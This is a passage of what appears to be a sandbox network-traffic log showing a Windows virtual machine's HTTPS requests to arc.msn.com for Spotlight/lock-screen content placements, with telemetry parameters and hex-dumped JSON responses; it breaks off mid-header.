2024-11-25 04:46:15 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 2299 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: AupAP8TEDzv4ZNIsaZk/cBQw8y3zt8PyOYleMza3fpQnXf6Iz3B6R8pk2O6cSzcsRsIT1WIxIPe8OATZWcKBoWZnVO9CxXixTM8FLlk4QYy1RtVutPTjLqYOTIFjyEfgkiyMO/VGkhMhY7gbShnCQdMomd3DNWVxyyxqniK8dplgw2c4AqQUEq6hUxZd/CZ/hBNDTg2NS9FLNTiqEKKtgBEGws/Bo5rOFjnvVvsB5nbHci7lBKjXLBN3UkCdIG68AUvzhxwi4O9DtJdxY8/vL/lemPaBZZdOCp7bxzWKgxuS2fts9Tyo+APK0yZdrXmM30MkWUbHceXbIquQ4Q6faw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 04:46:14 GMT Connection: close
2024-11-25 04:46:15 UTC	2299	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49719	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:15 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044610Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=9dd3b5624f064e77a9e28b7f4e81f069&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAdddCDU6xcjr4JQG4Q5CqQxYxRM7l7bC2MlFt9QO4Uu+ii8g720LG20edSSoTxnVPQfVrlOu/1noHbdP1+SiDi5DXdT/uC4gyHD0VoOT8ej2C+khCyhpug75SlIEjFej8fFvFo7FRZmWh8e545MnqHUljhAUzmKsKLRg/3UcXh4JkTf7zSwTP9Crj3xvwV1r5M6EZ2sADzFErRcH2T24HTT5pOeqDoqUYjhsuCPe3yRmQrN0Jxh9YUgKXYnq69TAggEbmdB1hu9ZbRMSeeNln3HQwGNpDyLAvfI/4qb8hmqcUU1ZMGFO6SmtXaqVqSt9dfRZCFSE0gLywHw9AU/GzhwQZgAAEDLRjozc8/fgTMJxBFbXahywATFuChYgSpvVkCQYiQv60vF/VLJsV5RJb3Ow+8dNRR0el2q0qbp9VTIG1wSVzaBKxsxH6IkW8X1WoLGuGJ5WlMi3c3SgUegrH058yo1LjgO0t3qLHIw6DS58jmJOIOme9/07868p1M09IlZ+2siUGX80L8KZ/uI5KSpK6J0OLWHJJ7zHypUXOeuGwBNhG0BXntMOPhCdKQPDe8woCYKNmEnydE43UgZybWyFczIOVNw2wlMFxB2sFIt+ew1l3Ac14hDxuhjSRFZZIlL/G7ny6MVIbDaXB5Mjnu9NE2wIH2xCI4qXe1DZMrAMgejMmtdL1BywwAp7hF9/3SW4nG0l/KnNsru4eQLJK4+NiariI8X5z7zgC1Z02+sfIaXcKF+CM9ZHVHj03k2ColCMd7oMACwRTvmXYI4h6YEqYTNdP1ZQVEwwo8yqq6vRFLxhb7KejVnWkbtX1YW0NMU1S8gCkc2qN+47eVbs7upXCKEA1Vz3xS05Ei7bDi6ILl4f8RW4a+lOo92EsOYwciT9fBbwM2/xW/TN6GTN+B4zIvlpNwQq+UYBIJSLTuDfY6r/1gw0YNcB&p= Cache-Control: no-cache MS-CV: x+uPAxlRTkK/BE4k.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-25 04:46:16 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2937 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: ggeMEeIH7HUOSYw4h+opKkIMzR4A7dXg5FYWCkYRURh0iG0h/Md7MFjWUw0ScKi+LCOkZR3JtBs3q42VD4N6WZlHF1awQX+BEgpqZ2evGPBWFyW+mCmYlTxcfCW+2YeU2Tgrhr6+mW+0S7SBkH4FZysLMV27+IeuR3E+DL33DHi/ckFiuzMdYmJC6v6m/VEgwGyPhscbj2l4Gc4FQqoKggZRxek8l4zqNLx876pKnDfByV2iaYXYTL9JBytiSQ59j3CrzLKxx2WcLF7Emq/ytrZMZ1FjgbTf2wj0rF5bux5IaDs1rvlEBwwi1efS3CL6/tKFFQzWoGayi1sGpnhcmQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 04:46:15 GMT Connection: close
2024-11-25 04:46:16 UTC	2937	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49720	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:16 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044610Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7a59710a8cf440c19b9cf664d25f77a5&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p= Cache-Control: no-cache MS-CV: x+uPAxlRTkK/BE4k.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-25 04:46:16 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 21909 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: uDRVVgE2tskrkBu0IFkAy1TlMyjRVblGrNV/3RPPX4UwoqOCPbTdsmCA2sqBV+6GHZZVkEYTDYwraOabYAhbBlALGkHZRXxVeliHZwDLZ7GgbuJGpJhn1EdbpqMsz4QgKINeOvNlN4kNtC0hkUIuWBW9cihMGA+nulo5KbzS/L7WyVAIbROFv2t5lvz30g3ny6CSy9R2AluMgIstcsDd0OQcTXOmLhVnGiJS3yfAd0UDozXT14K90yhET1dedXW9MOdtXU00iBC4RBLdmlvUh8cHSy+1TgPuKGmn80K0H2YdIUugxbWrZZM5y3oXw5DwFurWlI1tBKrkxxoKOwBWoQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 04:46:16 GMT Connection: close
2024-11-25 04:46:16 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-25 04:46:16 UTC	6340	IN	Data Raw: 22 74 65 78 74 5c 22 7d 2c 5c 22 6f 6e 43 6c 69 63 6b 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 2c 5c 22 6d 61 69 6e 49 6d 61 67 65 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 6c 6f 63 61 74 69 6f 6e 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6c 61 6e 64 73 63 61 70 65 58 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 6e 75 6d 65 72 69 63 5c 22 7d 2c 5c 22 6c 61 6e 64 73 63 61 70 65 59 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c Data Ascii: "text\"},\"onClick\":{\"isOptional\":true,\"type\":\"action\"},\"mainImage\":{\"isOptional\":true,\"type\":\"image\"},\"location\":{\"type\":\"text\"},\"landscapeX\":{\"isOptional\":true,\"type\":\"numeric\"},\"landscapeY\":{\"isOptional\":true,\"type\":\

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49722	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:18 UTC	2610	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044615Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=29b2cea0b0ef481e9f8468b00540e0f3&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p= Cache-Control: no-cache MS-CV: x+uPAxlRTkK/BE4k.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-25 04:46:19 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2966 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: rk/ZprZpPSucWVm/jdL1gJE6GinzjDAF9cnG1LgYVKT2XrHVo/fd/vy9v7v9QrFa4rQPtv/F/JJBOo2YUAhB4nYwbMMtlizWN0h2Xvy6VxR91EpglEgWWlzkDmhfJ/hhOnZm0WOgID/wOvoHHB7Q+07i2lLX0pO/6w2l49g43TKh29ViTqeuWnQcreUQLcmJFkaCY6HnbFEwOndIP8zmaoCC2Y8q2RgqUAvtZ45cysBQyWSCQynea2CbWq/cWr1QRrq38TLXPJou0c0jefviL2T7yOSHm0eoF++xNbn90xZieS9NcQ3lPbCwuSx/BFdeX4UHSZ+xvvkklELPUfmA9A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 04:46:18 GMT Connection: close
2024-11-25 04:46:19 UTC	2966	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49721	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:18 UTC	2607	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044615Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a2e72cb88d8d4162956ce506a078e8ff&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=99999999&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p= Cache-Control: no-cache MS-CV: x+uPAxlRTkK/BE4k.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: 